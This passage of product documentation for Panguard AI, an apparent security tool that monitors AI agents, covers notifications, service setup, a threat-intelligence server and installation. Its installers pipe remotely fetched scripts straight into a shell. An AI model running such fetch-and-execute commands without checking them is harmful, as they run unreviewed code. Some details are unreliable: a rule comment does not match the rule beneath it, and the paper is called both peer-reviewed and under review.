          For group notifications, add the bot to a Telegram group and use the group chat ID (starts with `-100`).
        </Tip>
      </Tab>

      <Tab title="Slack">
        1. Go to [api.slack.com/apps](https://api.slack.com/apps) and create a new app
        2. Add the `chat:write` OAuth scope under **Bot Token Scopes**
        3. Install the app to your workspace
        4. Copy the Bot User OAuth Token

        ```bash theme={null}
        panguard chat setup --channel slack \
          --slack-token "xoxb-..." \
          --slack-channel "#security-alerts"
        ```
      </Tab>

      <Tab title="Email">
        Configure SMTP credentials for email notifications:

        ```bash theme={null}
        panguard chat setup --channel email \
          --smtp-host "smtp.gmail.com" \
          --smtp-port 587 \
          --smtp-user "alerts@yourcompany.com" \
          --smtp-pass "app-password" \
          --email-to "security-team@yourcompany.com"
        ```

        <Info>
          For Gmail, use an [App Password](https://support.google.com/accounts/answer/185833) rather than your account password. Enable 2FA first.
        </Info>
      </Tab>

      <Tab title="LINE">
        1. Create a LINE Notify token at [notify-bot.line.me](https://notify-bot.line.me/)
        2. Select the group or 1-on-1 chat to receive notifications

        ```bash theme={null}
        panguard chat setup --channel line \
          --line-token "your-line-notify-token"
        ```
      </Tab>

      <Tab title="Webhook">
        Send raw JSON payloads to any HTTP endpoint:

        ```bash theme={null}
        panguard chat setup --channel webhook \
          --webhook-url "https://your-server.com/api/panguard-alerts" \
          --webhook-secret "your-hmac-secret"
        ```

        Panguard sends a `POST` request with the following payload structure:

        ```json theme={null}
        {
          "event": "guard.alert",
          "severity": "critical",
          "title": "Reverse shell detected",
          "details": { ... },
          "timestamp": "2026-03-07T14:22:01Z",
          "signature": "sha256=..."
        }
        ```

        The `signature` header contains an HMAC-SHA256 of the body using your webhook secret for verification.
      </Tab>
    </Tabs>
  </Step>

  <Step title="Configure user roles">
    Panguard supports 3 user roles that control notification verbosity:

    | Role        | Receives                                         | Best for             |
    | ----------- | ------------------------------------------------ | -------------------- |
    | `developer` | All severity levels with full technical details  | Engineers, DevOps    |
    | `boss`      | CRITICAL and HIGH only, plain-language summaries | Executives, managers |
    | `it_admin`  | All severity levels, medium detail, action items | IT operations        |

    Set the role for each channel:

    ```bash theme={null}
    panguard chat setup --channel telegram --role developer
    panguard chat setup --channel email --role boss
    panguard chat setup --channel slack --role it_admin
    ```

    <Tip>
      You can configure the same channel type multiple times with different roles. For example, send developer-level alerts to `#security-engineering` and boss-level summaries to `#security-executive`.
    </Tip>
  </Step>

  <Step title="Test your configuration">
    Send a test notification to all configured channels:

    ```bash theme={null}
    panguard chat test
    ```

    ```
      PANGUARD AI - Chat Test

      Sending test notification...

      Telegram   ... sent
      Slack      ... sent
      Email      ... sent

      All channels verified.
    ```

    Test a specific channel:

    ```bash theme={null}
    panguard chat test --channel slack
    ```
  </Step>

  <Step title="Verify active channels">
    List all configured notification channels and their status:

    ```bash theme={null}
    panguard chat status
    ```

    ```
      PANGUARD AI - Chat Status

      -- Channels -------------------------------

      Telegram   Active   role: developer   last sent: 2m ago
      Slack      Active   role: it_admin    last sent: 15m ago
      Email      Active   role: boss        last sent: 1h ago

      3 channels configured, 3 active.
    ```
  </Step>
</Steps>

## What to do next

<CardGroup>
  <Card title="Set up real-time protection" icon="shield-halved" href="/guides/real-time-protection">
    Notifications require Guard to be running. Start continuous monitoring first.
  </Card>

  <Card title="Chat product reference" icon="comments" href="/products/chat/overview">
    Full documentation for the Chat notification system.
  </Card>

  <Card title="User roles deep dive" icon="users" href="/products/chat/user-roles">
    Detailed breakdown of what each role receives and message formatting.
  </Card>

  <Card title="Troubleshoot notifications" icon="wrench" href="/troubleshooting/notification-issues">
    Common issues with channel configuration and delivery.
  </Card>
</CardGroup>


# Real-Time Protection
Source: https://docs.panguard.ai/guides/real-time-protection

Set up Panguard Guard for continuous monitoring, learn how the 7-day learning period works, and configure automated threat response.

# Real-Time Protection

Panguard Guard runs 24/7 on your system, monitoring processes, network connections, files, and logs. It uses a four-agent AI pipeline to detect, analyze, respond to, and report on security threats in real time.

<Info>
  For pre-install security, see [Skill Auditor](/products/overview) -- the recommended first step
  before running any AI agent skill.
</Info>

***

## Quick Start

<Steps>
  <Step title="Start Guard">
    ```bash theme={null}
    panguard guard start
    ```

    Guard enters **learning mode** for the first 7 days, observing your system's normal behavior.
  </Step>

  <Step title="Check Status">
    ```bash theme={null}
    panguard guard status
    ```

    ```
      -- Guard Status -----------------------

      Status:     Running
      Mode:       Learning (Day 3/7)
      PID:        12345
      Uptime:     3d 14h 22m
      Events:     12,847 observed
      Baseline:   42% complete
    ```
  </Step>

  <Step title="Wait for Protection Mode">
    After 7 days, Guard automatically transitions to **protection mode** and begins active threat detection and response.
  </Step>
</Steps>

***

## Learning Mode (Days 1-7)

During the learning period, Guard silently observes and records:

* **Processes** -- Which programs normally run, startup times, resource usage
* **Network** -- Normal connection patterns, common ports, traffic characteristics
* **Files** -- Change patterns in critical directories
* **Users** -- Login times, source IPs, operational patterns

<Info>
  Guard does not generate alerts during learning mode. This prevents the flood of false positives
  that makes most security tools useless. You receive a daily learning progress summary via Chat.
</Info>

***

## Protection Mode (Day 8+)

Once the baseline is established, Guard activates full protection:

* Events that deviate from the baseline trigger alerts
* The three-layer AI funnel analyzes suspicious events
* Automated or manual responses based on confidence level
* Real-time notifications via your configured Chat channel

### Confidence-Based Response

| Confidence | Action                        | Example                                             |
| ---------- | ----------------------------- | --------------------------------------------------- |
| > 90%      | Auto-execute, notify after    | Known malicious IP automatically blocked            |
| 70-90%     | Ask for confirmation via Chat | Suspicious process -- asks if you want to terminate |
| \< 70%     | Notify only                   | Minor anomaly -- informs you for observation        |

***

## The Four-Agent Pipeline

Every security event flows through four specialized agents:

```
  Event -> [Detect] -> [Analyze] -> [Respond] -> [Report]
```

| Agent            | Role                                                                                  |
| ---------------- | ------------------------------------------------------------------------------------- |
| **DetectAgent**  | Rule matching (ATR), threat intelligence lookup, event correlation                    |
| **AnalyzeAgent** | Evidence collection, weighted confidence scoring, AI reasoning via three-layer funnel |
| **RespondAgent** | Action execution (block IP, kill process, isolate file), safety checks, escalation    |
| **ReportAgent**  | Event logging, baseline updates, anonymized data for Threat Cloud                     |

***

## Response Actions

Guard can execute the following response actions automatically:

| Action                  | Description                                               | Platform Support                                 |
| ----------------------- | --------------------------------------------------------- | ------------------------------------------------ |
| **IP Block**            | Block malicious IP addresses                              | macOS (pfctl), Linux (iptables), Windows (netsh) |
| **File Isolation**      | Quarantine suspicious files with SHA-256 record           | All platforms                                    |
| **Process Termination** | Kill malicious processes (SIGTERM, then SIGKILL after 5s) | All platforms                                    |

### Safety Protections

Guard includes built-in safety rules to prevent accidental damage:

* **Whitelisted IPs:** `127.0.0.1`, `::1`, `localhost`, `0.0.0.0` (plus user-configured)
* **Protected processes:** `sshd`, `systemd`, `init`, `launchd`, `node`, `panguard-guard`
* **Protected accounts:** `root`, `Administrator`, `SYSTEM`
* **Network isolation** requires confidence >= 95%
* **Self-process kill** prevention

***

## Integrated Threat Intelligence

Guard automatically queries 5 threat intelligence feeds:

* **ThreatFox** -- IoC database (IPs, domains, URLs, file hashes)
* **URLhaus** -- Malware distribution URLs
* **Feodo Tracker** -- C2 server tracking
* **GreyNoise** -- IP reputation (targeted vs. mass scanning)
* **AbuseIPDB** -- Community-reported malicious IPs

Feeds update every hour with local caching to avoid redundant queries.

***

## Rule Engine

### ATR Rules

Guard ships with 768 bundled ATR rules. You can also add custom rules:

```yaml theme={null}
# Custom rule: Detect prompt injection in tool response
id: ATR-CUSTOM-001
name: SSH Brute Force via Agent
severity: high
detection:
  patterns:
    - event_type: login_failed
      service: ssh
  context: system_event
action: alert
```

Place `.yml` files in Guard's rules directory. Guard automatically loads new rules with hot reload support.

***

## Managing Guard

```bash theme={null}
# Start Guard
panguard guard start

# Check status
panguard guard status

# Stop Guard
panguard guard stop

# View current configuration
panguard guard config

# Install as system service (auto-start on boot)
panguard guard install
```

<Tip>
  For production environments, install Guard as a system service so it starts automatically on boot
  and restarts on failure. See the [System Service guide](/guides/system-service).
</Tip>

***

## CLI Reference

```
panguard guard <command> [options]

Commands:
  start              Start the Guard engine
  stop               Stop the Guard engine
  status             Display status
  install            Install as system service
  uninstall          Remove system service
  config             Display current configuration

Options:
  --data-dir <path>  Data directory (default: ~/.panguard-guard)
```

***

## Related

<CardGroup>
  <Card title="Learning Mode" icon="graduation-cap" href="/concepts/learning-mode">
    Deep dive into the 7-day learning period and baseline building.
  </Card>

  <Card title="Three-Layer AI Funnel" icon="brain-circuit" href="/concepts/three-layer-ai">
    How rules, local AI, and cloud AI work together.
  </Card>

  <Card title="System Service" icon="gear" href="/guides/system-service">
    Install Guard as a systemd/launchd service.
  </Card>

  <Card title="Notification Setup" icon="bell" href="/guides/notifications-setup">
    Configure how Guard notifies you about threats.
  </Card>
</CardGroup>


# System Service
Source: https://docs.panguard.ai/guides/system-service

Install Panguard Guard as a systemd, launchd, or Windows service for automatic startup and continuous protection.

# System Service Installation

Install Guard as a system service so it starts automatically on boot, restarts on failure, and runs continuously without manual intervention.

***

## Quick Install

```bash theme={null}
# Install as system service
panguard guard install

# Remove system service
panguard guard uninstall
```

The `install` command detects your operating system and creates the appropriate service configuration automatically.

***

## Platform-Specific Details

<Tabs>
  <Tab title="macOS (launchd)">
    Guard creates a LaunchDaemon plist file:

    ```
    /Library/LaunchDaemons/ai.panguard.guard.plist
    ```

    **Behavior after installation:**

    * Starts automatically on boot
    * Restarts automatically on abnormal exit
    * Logs written to `/var/log/panguard-guard.log`

    **Manual management:**

    ```bash theme={null}
    # Check service status
    sudo launchctl list | grep panguard

    # Start manually
    sudo launchctl load /Library/LaunchDaemons/ai.panguard.guard.plist

    # Stop manually
    sudo launchctl unload /Library/LaunchDaemons/ai.panguard.guard.plist
    ```
  </Tab>

  <Tab title="Linux (systemd)">
    Guard creates a systemd unit file:

    ```
    /etc/systemd/system/panguard-guard.service
    ```

    **Example unit file:**

    ```ini theme={null}
    [Unit]
    Description=Panguard Guard Agent
    After=network-online.target
    Wants=network-online.target

    [Service]
    Type=simple
    User=panguard
    Group=panguard
    WorkingDirectory=/opt/panguard
    ExecStart=/usr/bin/node /opt/panguard/dist/cli/index.js guard --mode protection --data-dir /var/panguard-guard
    Restart=always
    RestartSec=10
    StandardOutput=journal
    StandardError=journal
    SyslogIdentifier=panguard-guard

    # Security hardening
    NoNewPrivileges=true
    ProtectSystem=strict
    ProtectHome=true
    ReadWritePaths=/var/panguard-guard
    PrivateTmp=true

    # Required capabilities for response actions
    AmbientCapabilities=CAP_NET_ADMIN CAP_KILL CAP_SYS_PTRACE

    Environment=NODE_ENV=production
    Environment=PANGUARD_DATA_DIR=/var/panguard-guard
    EnvironmentFile=-/etc/panguard/guard.env

    [Install]
    WantedBy=multi-user.target
    ```

    **Manual management:**

    ```bash theme={null}
    # Check service status
    systemctl status panguard-guard

    # Start / stop
    sudo systemctl start panguard-guard
    sudo systemctl stop panguard-guard

    # View logs
    journalctl -u panguard-guard -f
    ```

    **Required Linux capabilities:**

    | Capability       | Purpose                              |
    | ---------------- | ------------------------------------ |
    | `CAP_NET_ADMIN`  | Block IPs via iptables               |
    | `CAP_KILL`       | Terminate malicious processes        |
    | `CAP_SYS_PTRACE` | Memory scanning for fileless malware |
  </Tab>

  <Tab title="Windows (Services)">
    Guard registers as a Windows service:

    ```
    Service Name:    PanguardGuard
    Display Name:    Panguard Guard AI
    ```

    **Behavior after installation:**

    * Starts automatically on boot
    * Restarts automatically on abnormal exit
    * Logs written to Windows Event Log

    **Manual management:**

    ```powershell theme={null}
    # Check service status
    sc.exe query PanguardGuard

    # Start / stop
    sc.exe start PanguardGuard
    sc.exe stop PanguardGuard
    ```
  </Tab>
</Tabs>

***

## Manual systemd Setup (Advanced)

For full control over the service configuration, follow these steps:

<Steps>
  <Step title="Create a System User">
    ```bash theme={null}
    sudo useradd --system --home-dir /opt/panguard --shell /usr/sbin/nologin panguard
    ```
  </Step>

  <Step title="Create Directories">
    ```bash theme={null}
    sudo mkdir -p /opt/panguard /var/panguard-guard /etc/panguard
    sudo chown -R panguard:panguard /opt/panguard /var/panguard-guard
    ```
  </Step>

  <Step title="Deploy the Application">
    ```bash theme={null}
    sudo cp -r dist/ /opt/panguard/dist/
    sudo cp -r node_modules/ /opt/panguard/node_modules/
    ```
  </Step>

  <Step title="Create Environment File">
    ```bash theme={null}
    sudo tee /etc/panguard/guard.env << 'EOF'
    PANGUARD_DATA_DIR=/var/panguard-guard
    OLLAMA_ENDPOINT=http://localhost:11434
    EOF

    sudo chmod 600 /etc/panguard/guard.env
    sudo chown panguard:panguard /etc/panguard/guard.env
    ```

    <Warning>
      Environment files contain secrets. Always set permissions to `600` and restrict ownership to the service user.
    </Warning>
  </Step>

  <Step title="Enable and Start">
    ```bash theme={null}
    sudo systemctl daemon-reload
    sudo systemctl enable panguard-guard
    sudo systemctl start panguard-guard
    sudo systemctl status panguard-guard
    ```
  </Step>
</Steps>

***

## Manager Service

The Manager can also be installed as a systemd service for distributed deployments:

```ini theme={null}
[Unit]
Description=Panguard Manager Server
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
User=panguard
Group=panguard
WorkingDirectory=/opt/panguard
ExecStart=/usr/bin/node /opt/panguard/dist/cli/index.js manager --port 8443
Restart=always
RestartSec=10

NoNewPrivileges=true
ProtectSystem=strict
ReadWritePaths=/var/panguard-manager
PrivateTmp=true

Environment=NODE_ENV=production
EnvironmentFile=-/etc/panguard/manager.env

[Install]
WantedBy=multi-user.target
```

***

## Watchdog Health Monitoring

The system service includes a built-in watchdog mechanism:

* Checks Guard process health every 60 seconds
* Restarts on abnormal memory usage
* Degrades on abnormal CPU usage
* Stops and notifies if restart count exceeds threshold

***

## Batch Deployment Script

Generate a one-line installation script for deploying across multiple machines:

```bash theme={null}
panguard guard install-script
```

The generated script will:

1. Download Panguard AI
2. Install dependencies
3. Install as a system service
4. Start Guard

***

## Data Directory

| Platform | Default Path                |
| -------- | --------------------------- |
| macOS    | `~/.panguard-guard/`        |
| Linux    | `~/.panguard-guard/`        |
| Windows  | `%APPDATA%\panguard-guard\` |

Override with `--data-dir`:

```bash theme={null}
panguard guard start --data-dir /opt/panguard/data
```

**Contents:**

* `guard.pid` -- PID file (prevents duplicate instances)
* `baseline/` -- Behavioral baseline data
* `rules/` -- Custom ATR rules
* `logs/` -- Event logs (JSONL with rotation)
* `config.json` -- Guard configuration

***

## PID Management

Guard uses PID files to manage process state:

* PID written on startup
* PID file removed on clean shutdown
* Prevents multiple instances from running simultaneously
* Supports graceful shutdown via SIGTERM and SIGINT

***

## Related

<CardGroup>
  <Card title="Real-Time Protection" icon="shield" href="/guides/real-time-protection">
    Configure Guard for continuous monitoring and response.
  </Card>

  <Card title="Docker Deployment" icon="docker" href="/guides/docker-deployment">
    Run Guard in a containerized environment.
  </Card>

  <Card title="Multi-Endpoint Setup" icon="server" href="/guides/multi-endpoint">
    Connect Guard agents to a centralized Manager.
  </Card>

  <Card title="Environment Variables" icon="sliders" href="/configuration/environment-variables">
    Complete environment variable reference.
  </Card>
</CardGroup>


# Deploy Threat Cloud
Source: https://docs.panguard.ai/guides/threat-cloud-deployment

Run a self-hosted Threat Cloud server for centralized threat intelligence with full privacy control.

Threat Cloud is Panguard's self-hosted threat intelligence platform. It aggregates indicators of compromise (IoCs) from your Guard agents and honeypots, provides feed endpoints for downstream tools, and tracks attacker campaigns -- all while keeping your data entirely under your control.

<Steps>
  <Step title="Start the Threat Cloud server">
    Launch the server on your chosen port:

    ```bash theme={null}
    panguard threat start --port 8080
    ```

    ```
      PANGUARD AI - Threat Cloud

      Starting Threat Cloud server...

      -- Server Info ----------------------------

      URL:        http://localhost:8080
      Database:   SQLite (./panguard-threat.db)
      API Key:    pg_threat_abc123...
      Rate Limit: 100 req/min

      Threat Cloud is running.
      API documentation: http://localhost:8080/docs
    ```

    <Info>
      The API key is auto-generated on first start and stored in your Panguard configuration. Use it to authenticate all API requests.
    </Info>
  </Step>

  <Step title="Understand the architecture">
    Threat Cloud uses a lightweight stack designed for single-server deployment:

    | Component         | Technology             | Purpose                               |
    | ----------------- | ---------------------- | ------------------------------------- |
    | **Database**      | SQLite                 | Stores IoCs, campaigns, and feed data |
    | **API**           | REST + JSON            | CRUD operations for all resources     |
    | **Auth**          | API key (Bearer token) | Authenticates all requests            |
    | **Rate limiting** | 100 req/min default    | Prevents abuse; configurable          |

    <Note>
      SQLite is the default backend. For high-volume deployments (10+ agents), consider placing the database on an SSD and adjusting WAL mode: `panguard threat start --db-wal`.
    </Note>
  </Step>

  <Step title="Manage indicators of compromise">
    Add IoCs manually or let Guard agents push them automatically:

    <CodeGroup>
      ```bash Add an IoC via CLI theme={null}
      panguard threat ioc add \
        --type ip \
        --value "203.0.113.42" \
        --severity high \
        --tags "brute-force,ssh"
      ```

      ```bash List recent IoCs theme={null}
      panguard threat ioc list --limit 20
      ```

      ```bash Search IoCs theme={null}
      panguard threat ioc search --value "203.0.113.*"
      ```
    </CodeGroup>

    IoCs added by Guard agents include full context: the triggering event, honeypot interaction data, and the profiling results.
  </Step>

  <Step title="Configure feed endpoints">
    Threat Cloud exposes feed endpoints that downstream tools (SIEMs, firewalls, other Panguard instances) can subscribe to:

    ```
    GET /api/v1/feeds/ip-blocklist     IP addresses to block
    GET /api/v1/feeds/domain-blocklist  Malicious domains
    GET /api/v1/feeds/ioc-all          All IoCs in STIX 2.1 format
    ```

    Example: fetch the IP blocklist:

    ```bash theme={null}
    curl -H "Authorization: Bearer pg_threat_abc123..." \
      http://localhost:8080/api/v1/feeds/ip-blocklist
    ```

    ```json theme={null}
    {
      "feed": "ip-blocklist",
      "updated": "2026-03-07T14:00:00Z",
      "count": 42,
      "indicators": [
        { "value": "203.0.113.42", "severity": "high", "last_seen": "2026-03-07T14:30:22Z" },
        { "value": "198.51.100.17", "severity": "medium", "last_seen": "2026-03-07T03:12:44Z" }
      ]
    }
    ```
  </Step>

  <Step title="Track campaigns">
    Group related IoCs and events into named campaigns for investigation:

    <CodeGroup>
      ```bash Create a campaign theme={null}
      panguard threat campaign create \
        --name "SSH Brute Force Wave" \
        --description "Coordinated brute-force attacks from CN/RU ranges" \
        --iocs "203.0.113.42,198.51.100.17,192.0.2.88"
      ```

      ```bash List campaigns theme={null}
      panguard threat campaign list
      ```

      ```bash View campaign details theme={null}
      panguard threat campaign view --name "SSH Brute Force Wave"
      ```
    </CodeGroup>
  </Step>

  <Step title="Privacy and data handling">
    Threat Cloud is designed with privacy as a core principle:

    * **Self-hosted:** All data stays on your infrastructure
    * **Anonymized data:** IP addresses in shared feeds can be hashed
    * **Zero telemetry:** No data is sent to Panguard AI servers
    * **Data retention:** Configurable TTL for IoCs (default: 90 days)

    ```bash theme={null}
    panguard threat start --port 8080 \
      --retention-days 30 \
      --anonymize-feeds
    ```

    <Warning>
      If you expose Threat Cloud to the internet, always use HTTPS (reverse proxy) and restrict access by IP or VPN. The API key alone is not sufficient for public-facing deployments.
    </Warning>
  </Step>
</Steps>

## What to do next

<CardGroup>
  <Card title="Threat Cloud product reference" icon="book" href="/products/threat-cloud/overview">
    Full documentation of the Threat Cloud platform and architecture.
  </Card>

  <Card title="Privacy model" icon="lock" href="/products/threat-cloud/privacy">
    Detailed explanation of data handling, anonymization, and retention policies.
  </Card>

  <Card title="Threat Cloud API" icon="code" href="/api-reference/threat-cloud/ioc">
    Complete API reference for IoC, feed, and campaign endpoints.
  </Card>

  <Card title="Deploy with Docker" icon="docker" href="/guides/docker-deployment">
    Run Threat Cloud in a containerized environment.
  </Card>
</CardGroup>


# Installation
Source: https://docs.panguard.ai/installation

One command to install. Dashboard opens automatically.

## 30 Seconds to Protected

<Tabs>
  <Tab title="macOS / Linux">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash
    ```

    That's it. Panguard installs, connects to your AI agents, and opens the dashboard.
  </Tab>

  <Tab title="Windows">
    ```powershell theme={null}
    irm https://get.panguard.ai/windows | iex
    ```

    Run in PowerShell. Panguard installs, connects to your AI agents, and opens the dashboard.
  </Tab>

  <Tab title="npm (all platforms)">
    ```bash theme={null}
    npm install -g panguard && pga up
    ```

    Requires [Node.js 20+](https://nodejs.org/).
  </Tab>
</Tabs>

After install, your browser opens to `http://127.0.0.1:9100` with the Guard dashboard.

***

## What Just Happened?

The installer did 3 things:

1. **Installed Panguard** — CLI + 768 ATR detection rules (OWASP Agentic Top 10: 10/10 covered)
2. **Connected your AI agents** — auto-detected Claude Code, Cursor, OpenClaw, and [13 more platforms](/guides/claw-setup)
3. **Started Guard** — 24/7 monitoring with dashboard at `http://127.0.0.1:9100`

You're now protected. Every MCP skill your AI agents use is being monitored in real-time.

***

## Verify It's Working

```bash theme={null}
panguard --version
```

```
1.9.0
```

```bash theme={null}
panguard guard status
```

You should see Guard running in learning mode (day 1/7).

***

## What's Next

<CardGroup>
  <Card title="Scan Your AI Skills" icon="magnifying-glass" href="/quickstart">
    Audit all installed MCP skills for prompt injection, credential theft, and more.
  </Card>

  <Card title="Understand Your Score" icon="chart-line" href="/concepts/security-score">
    Your A-F security grade and how to improve it.
  </Card>

  <Card title="Set Up Notifications" icon="bell" href="/guides/notifications-setup">
    Get alerts via Telegram, Slack, or email when threats are detected.
  </Card>

  <Card title="Platform Setup Guide" icon="bolt" href="/guides/claw-setup">
    Manual setup for OpenClaw, NemoClaw, ArkClaw, and other platforms.
  </Card>
</CardGroup>

***

## System Requirements

|             | Minimum                               |
| ----------- | ------------------------------------- |
| **OS**      | macOS 12+, Ubuntu 20.04+, Windows 10+ |
| **Node.js** | 20+                                   |
| **Disk**    | 200 MB                                |
| **Memory**  | 512 MB (1 GB for Guard)               |

<Accordion title="Platform support details">
  | Feature           | macOS | Linux | Windows |
  | ----------------- | ----- | ----- | ------- |
  | **Skill Auditor** | Full  | Full  | Full    |
  | **Scan**          | Full  | Full  | Partial |
  | **Guard**         | Full  | Full  | Full    |
  | **Threat Cloud**  | Full  | Full  | Full    |

  Windows supports all core features. Some OS-level network monitoring is limited compared to macOS/Linux.
</Accordion>

<Accordion title="Install from source (contributors)">
  ```bash theme={null}
  git clone https://github.com/panguard-ai/panguard-ai.git
  cd panguard-ai
  pnpm install && pnpm build
  ./bin/panguard --help
  ```

  Requires [pnpm](https://pnpm.io/) 10+ and Node.js 20+.
</Accordion>

<Accordion title="Uninstall">
  <Tabs>
    <Tab title="npm">`bash npm uninstall -g panguard `</Tab>
    <Tab title="curl install">`bash rm "$(which panguard)" `</Tab>
  </Tabs>
</Accordion>


# Panguard AI
Source: https://docs.panguard.ai/introduction

The first open standard for AI agent security. 768 ATR detection rules. OWASP Agentic Top 10: 10/10 covered. 17 platforms. Community is free and open source.

<Note>
  **v1.9.0 released** -- 17 AI platform support, 768 ATR rules, OWASP Agentic Top 10 full coverage, 67,799 skills scanned with 1,096 confirmed malicious.
  [See changelog](/changelog).
</Note>

Panguard AI is the first open-source security platform built for the AI agent era. As AI agents gain root-level access to production systems, Panguard provides the detection rules, enforcement engine, and collective intelligence network to keep them in check.

**One command. Full protection. No account required.**

```bash theme={null}
curl -fsSL https://get.panguard.ai | bash
```

***

## By the Numbers

|                           |                                                                                                                                                                                |
| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **768** detection rules   | ATR (768) + community                                                                                                                                                          |
| **17** AI platforms       | Claude Code, Claude Desktop, Cursor, Hermes Agent, OpenClaw, Codex, WorkBuddy, NemoClaw, ArkClaw, Windsurf, QClaw, Cline, VS Code Copilot, Zed, Gemini CLI, Continue, Roo Code |
| **OWASP 10/10**           | Full coverage of OWASP Agentic Top 10 for Agentic Applications 2026                                                                                                            |
| **3-layer** AI pipeline   | Rules engine, local AI (Ollama), cloud AI (Claude/OpenAI)                                                                                                                      |
| **12** MCP tools          | Scan, audit, guard, threat search, and more                                                                                                                                    |
| **8-check** Skill Auditor | Gates every AI skill before install                                                                                                                                            |
| **0** accounts required   | No login, no signup, no API key needed to start                                                                                                                                |

***

## OWASP Agentic Top 10: Full Coverage

ATR rules map to every category of the [OWASP Top 10 for Agentic Applications 2026](https://owasp.org/www-project-top-10-for-agentic-applications/):

| OWASP Category                    | ATR Rules | Coverage |
| --------------------------------- | --------- | -------- |
| ASI01: Agent Goal Hijack          | 13 rules  | STRONG   |
| ASI02: Tool Misuse & Exploitation | 11 rules  | STRONG   |
| ASI03: Identity & Privilege Abuse | 9 rules   | STRONG   |
| ASI04: Agentic Supply Chain       | 8 rules   | STRONG   |
| ASI05: Unexpected Code Execution  | 8 rules   | STRONG   |
| ASI06: Memory & Context Poisoning | 8 rules   | STRONG   |
| ASI07: Inter-Agent Communication  | 5 rules   | MODERATE |
| ASI08: Cascading Failures         | 4 rules   | MODERATE |
| ASI09: Human-Agent Trust          | 5 rules   | MODERATE |
| ASI10: Rogue Agents               | 7 rules   | MODERATE |

Full mapping: [OWASP-MAPPING.md on GitHub](https://github.com/Agent-Threat-Rule/agent-threat-rules/blob/main/docs/OWASP-MAPPING.md)

***

## Three Pillars

<CardGroup>
  <Card title="ATR -- The Standard" icon="file-code" href="/overview">
    **768 rules across 10 threat categories.** The first open standard for AI agent threats -- prompt
    injection, tool poisoning, skill compromise, agent manipulation. YAML-based, human-readable,
    machine-enforceable. OWASP Agentic Top 10: 10/10 covered.
  </Card>

  <Card title="Threat Cloud -- The Network" icon="globe" href="/products/threat-cloud/overview">
    **Collective immunity.** Every install contributes anonymized threat signals. The pipeline
    auto-generates rules from real-world attacks. 11 intel sources. Synced every hour.
  </Card>

  <Card title="Guard -- The Engine" icon="shield-halved" href="/products/guard/overview">
    **4-agent AI pipeline.** Detect, Analyze, Respond, Report. Processes OS-level events through 768
    ATR rules. Built-in Skill Auditor. Auto-response blocks IPs, kills processes, quarantines files.
  </Card>
</CardGroup>

***

## Quick Start

Install, scan, and protect in 4 commands:

```bash theme={null}
curl -fsSL https://get.panguard.ai | bash
panguard setup
panguard scan --quick
panguard guard start --dashboard
```

`panguard setup` auto-detects all 17 AI platforms on your machine and injects the correct MCP or native Skill configuration for each.

`panguard guard start --dashboard` starts 24/7 protection and opens a local dashboard in your browser at `http://127.0.0.1:9100`.

<CardGroup>
  <Card title="Step-by-step Quick Start" icon="rocket" href="/quickstart">
    Detailed walkthrough with expected output for each step.
  </Card>

  <Card title="Installation Guide" icon="download" href="/installation">
    Platform-specific instructions for macOS, Linux, and Windows.
  </Card>
</CardGroup>

***

## Platform-Specific Setup

<Tabs>
  <Tab title="Auto-detect all platforms">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash && panguard setup
    ```

    Auto-detects and configures all 17 supported AI platforms in one command: Claude Code, Claude Desktop, Cursor, Hermes Agent, OpenClaw, Codex, WorkBuddy, NemoClaw, ArkClaw, Windsurf, QClaw, Cline, VS Code Copilot, Zed, Gemini CLI, Continue, Roo Code.
  </Tab>

  <Tab title="OpenClaw">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash && panguard setup --platform openclaw
    ```

    Installs as a native **Skill** at `~/.openclaw/skills/panguard/SKILL.md`. Restart OpenClaw, then:

    ```
    > Audit the skills in this project
    > Scan my machine for vulnerabilities
    > Start real-time protection
    ```
  </Tab>

  <Tab title="NemoClaw">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash && panguard setup --platform nemoclaw
    ```

    Registers as an **MCP server** in NemoClaw's configuration. Restart NemoClaw to access 12 security tools.
  </Tab>

  <Tab title="ArkClaw">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash && panguard setup --platform arkclaw
    ```

    Registers as an **MCP server** in ArkClaw's configuration. Restart ArkClaw to access 12 security tools.
  </Tab>
</Tabs>

<Tip>
  For manual configuration and troubleshooting, see the [platform setup guide](/guides/claw-setup).
</Tip>

***

## Who is Panguard AI for?

<CardGroup>
  <Card title="Developers" icon="laptop-code">
    Secure your servers, VPS, and dev machines with zero configuration. One command, then back to
    work.
  </Card>

  <Card title="Small Businesses" icon="building">
    Compliance-ready security without a dedicated team. Auto-generate ISO 27001, SOC 2, and Taiwan
    TCSA audit reports.
  </Card>

  <Card title="MSPs" icon="server">
    Monitor and protect endpoints with real-time Guard protection.
  </Card>
</CardGroup>

***

## Why Panguard AI?

Traditional security tools cost six figures and require dedicated teams. Free tools exist but are unusable without security engineers.

Panguard takes a different approach:

* **One command install** -- no config files, no tuning, no jargon
* **Plain language alerts** -- Telegram, Slack, Email, LINE in your preferred language
* **AI auto-triage** -- the system judges severity, responds, and reports autonomously
* **Gets smarter over time** -- behavioral baselines adapt to your environment
* **Skill Auditor** -- gates every AI skill before install, prevents supply chain attacks
* **Community is free** -- MIT licensed, 768 ATR rules, unlimited self-host, no signup required. For production deployments at F500 scale, [Enterprise ($150K-500K / year)](https://panguard.ai/pricing), [Migrator Pro ($500K-2M / year)](https://panguard.ai/pricing), and [Sovereign (\$5-20M / nation)](https://panguard.ai/pricing) tiers add signed, continuously re-scanned compliance evidence, airgap deployment, and SLA.

***

## Research Paper

ATR is backed by a peer-reviewed research paper documenting the methodology, detection architecture, and evaluation results.

> **Agent Threat Rules: A Community-Driven Detection Standard for AI Agent Security**
> Published on [Zenodo (DOI: 10.5281/zenodo.19178002)](https://doi.org/10.5281/zenodo.19178002). Under review at arXiv and SSRN.

The paper covers: threat taxonomy, detection architecture (regex + LLM crystallization), PINT MCP benchmark evaluation (63.6% recall, 99.7% precision on 850 samples), SKILL.md benchmark (100% recall, 97% precision, 0.2% FP on 498 real-world samples), Garak benchmark (95.7% recall on 650 samples), and 64 documented evasion techniques.

***

<h2>
  100% Open Source
</h2>

Every feature is free. Full source code. Zero black boxes. Every line is auditable.

<CardGroup>
  <Card title="Panguard AI on GitHub" icon="github" href="https://github.com/panguard-ai/panguard-ai">
    Star the repo, browse source, report issues, or contribute.
  </Card>

